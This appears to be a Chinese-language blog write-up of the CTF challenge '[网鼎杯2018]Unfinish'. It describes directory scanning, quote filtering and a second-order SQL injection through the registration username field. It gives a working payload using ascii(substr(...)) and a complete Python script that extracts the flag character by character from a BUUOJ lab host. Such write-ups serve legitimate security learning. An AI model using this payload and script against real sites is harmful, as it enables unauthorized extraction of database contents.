[网鼎杯2018]Unfinish dirsearch扫描:扫出register.php文件,进行注册
但是发现SQL注入的万能钥匙不能注册‘不可以,但是“可以。可以fuzz一下被禁用的符号。
5、到这里想着后端代码应该就是select username from table where username = ‘传递的参数’,这样的结构,经过测试可以通过:1’ or password like ‘%f%测试列明,但是好像flag值所在的表与当前的表不是同一张表,而且也不知道flag值所在表的名称,在网上查看了以下,发现是忙才flag值所在表的表名称为flag,然后通过+运算进行无列明获取flag值,其payload:0’+ascii(substr((select * from flag) from 1 for 1))+’0,成功获取到flag值得第一位asii:102即f,结果如下:
6、确定payload之后那就需要通过脚本来获取flag值了,脚本信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport timefrom bs4 import BeautifulSoupdef get_flag (): flag = '' url = 'http://4ecc41d2-2490-46b9-a16a-f384574ca1ca.node4.buuoj.cn:81/' register_url = url + 'register.php' login_url = url + 'login.php' for i in range (1 , 100 ): time.sleep(0.5 ) register_data = {"email" : "{}@1.com" .format (i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0" .format (i), "password" : "1" } login_data = {"email" : "{}@1.com" .format (i), "password" : "1" } requests.post(register_url, data=register_data) response_login = requests.post(login_url, data=login_data) bs = BeautifulSoup(response_login.text, 'html.parser' ) username = bs.find('span' , class_='user-name' ) number = username.text flag += chr (int (number)) print ("\r" , end="" ) print (flag,end="" ) if __name__ == '__main__' : get_flag()
有些不太懂的地方:https://blog.csdn.net/qq_54929891/article/details/124911240
Author:
odiws
Permalink:
http://odiws.github.io/2024/06/13/%E7%BD%91%E9%BC%8E%E6%9D%AF2018-Unfinish/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY ?